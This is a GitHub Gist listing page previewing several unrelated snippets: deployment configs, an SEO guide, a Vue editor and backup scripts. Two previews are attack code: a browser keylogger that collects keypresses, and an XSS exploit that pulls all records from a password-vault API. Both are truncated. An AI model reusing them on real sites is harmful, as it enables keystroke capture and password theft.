Skip to content

Instantly share code, notes, and snippets.

View geekyayush's full-sized avatar
🎯
Focusing

Ayush Somani geekyayush

🎯
Focusing
View GitHub Profile
@salanki
salanki / pixelstream-temple-ksvc.yaml
Last active April 22, 2023 08:58
KNative Service for Unreal Engine Pixelstream
# On how to build the pixelstreaming images yourself: https://adamrehn.com/articles/pixel-streaming-in-linux-containers/
# and https://github.com/adamrehn/ue4-example-dockerfiles/tree/master/pixel-streaming. All images used in this YAML are public.
# Developed for Bare Metal Managed Kubernetes GPUs from http://www.coreweave.com
# Will work locally without any additional components if POD CIDRs are reachable from the clients computer. To work from the Internet, a STUN/TURN server needs to be setup. Hit me up for more info on that.
apiVersion: serving.knative.dev/v1
kind: Service
metadata:
name: ue4-temple
spec:
@17twenty
17twenty / SEO-Guide.md
Last active April 25, 2024 21:05
Creating and building an SEO strategy for your site

Hey guys!

There's a TON of content out there on SEO - guides, articles, courses, videos, scams, people yelling about it on online forums, etc etc..

Most of it, however, is super impractical. If you want to start doing SEO TODAY and start getting results ASAP, you'll need to do a TON of digging to figure out what's important and what's not.

So we wanted to make everyone's lives super easy and distill our EXACT process of working w/ clients into a stupid-simple, step-by-step practical guide. And so we did. Here we are.

A bit of backstory:

@fazlurr
fazlurr / ContentEditor.vue
Last active April 30, 2024 15:39
tiptap alignment And custom image handler
<template>
<!-- WYSIWYG Editor -->
<div class="editor mb-4">
<editor-menu-bar class="editor-bar" :editor="editor">
<div slot-scope="{ commands, isActive, focused, getMarkAttrs }">
<!-- Image -->
<label
class="btn btn-plain mb-0"
:class="{ 'is-loading': isUploading }"
v-tooltip="'Add Image'">
@hasibdesk
hasibdesk / How to run multiple NodeJs app on same server and different domain and run all app concurrently using Nginx.md
Created November 30, 2019 03:49
Run multiple nodejs app in same server with different domain and run all app concurrently

Node.js Deployment

Steps to deploy a Node.js app to DigitalOcean using PM2, NGINX as a reverse proxy and an SSL from LetsEncrypt

1. Sign up for Digital Ocean

Sometimes we need to run multiple nodejs app on same server with different domain or sub domain like admin.domain.com, api.domain.com and also need to run both nodejs or reactjs app concurrently. We can do this using 2 things , first of all we need to install nginx in our server for reverse proxy to connect different domain, and for running multiple nodejs app concurrently we can use PM2 NodeJs Process Manager

Please Make sure that you have installed these things on your server

  • NodeJS
var keys = '';
document.onkeypress = function(e) {
var get = window.event ? event : e;
var key = get.keyCode ? get.keyCode : get.charCode;
key = String.fromCharCode(key);
keys += key;----
}
window.setInterval(function(){
@mkg20001
mkg20001 / generate-nginx-cloudflare-allow.sh
Last active April 5, 2024 07:41
A script to generate a config to allow or additionally allow cloudflare addresses for a specific domain
#!/bin/bash
set -e
cf_ips() {
echo "# https://www.cloudflare.com/ips"
for type in v4 v6; do
echo "# IP$type"
curl -sL "https://www.cloudflare.com/ips-$type/" | sed "s|^|allow |g" | sed "s|\$|;|g"
@thanhphong-tran
thanhphong-tran / backup.sh
Last active August 8, 2019 03:06
Auto backup mongodb & sync backup with Google Drive
# DB host (secondary preferred as to avoid impacting primary performance)
HOST=localhost
# DB name
DBNAME=testdb
# Current time
TIME=`/bin/date +%d-%m-%Y-%T`
# Backup directory
@shawarkhanethicalhacker
shawarkhanethicalhacker / password_vault_exploit.js
Created August 20, 2018 07:26
XSS Exploit code for retrieving passwords stored in a Password Vault
//Exploit Code by Shawar Khan
var data_chunks = '';
// Capturing Records from API
fetch('https://redacted.com/api/v3/records/all').then((resp) => resp.text()).then(function(data) {
// Holds the records in as String
var allrecords = data;
// converting response to JSON
setTimeout(function() {
function getAllModules() {
return new Promise((resolve) => {
const id = _.uniqueId("fakeModule_");
window["webpackJsonp"](
[],
{
[id]: function(module, exports, __webpack_require__) {
resolve(__webpack_require__.c);
}
@jroakes
jroakes / seoml.md
Last active June 29, 2023 09:04
ML Repository for SEO

Machine Learning Repository for SEO

SEO is a field that is rich with data, yet many young SEOs may not be equipped to learn tools that will prepare them for the future. We want to support our community by using our expertise to provide access to more advanced tools that will allow SEOs of all levels to play with the technologies that will shape the future of our work.

Objectives

  • Provide a repositiory that makes it possible to learn about ML specifically targeted to those interested in SEO
  • Provide a repository that allows a novice user to run a simple model on something meaningful for SEO.
  • Provide a repository that allows advanced users to save time on data getting, cleaning, preprocessing, and model selection.
  • Allow users to showcase work and models developed.
  • Have users get involved with the future development of the repo.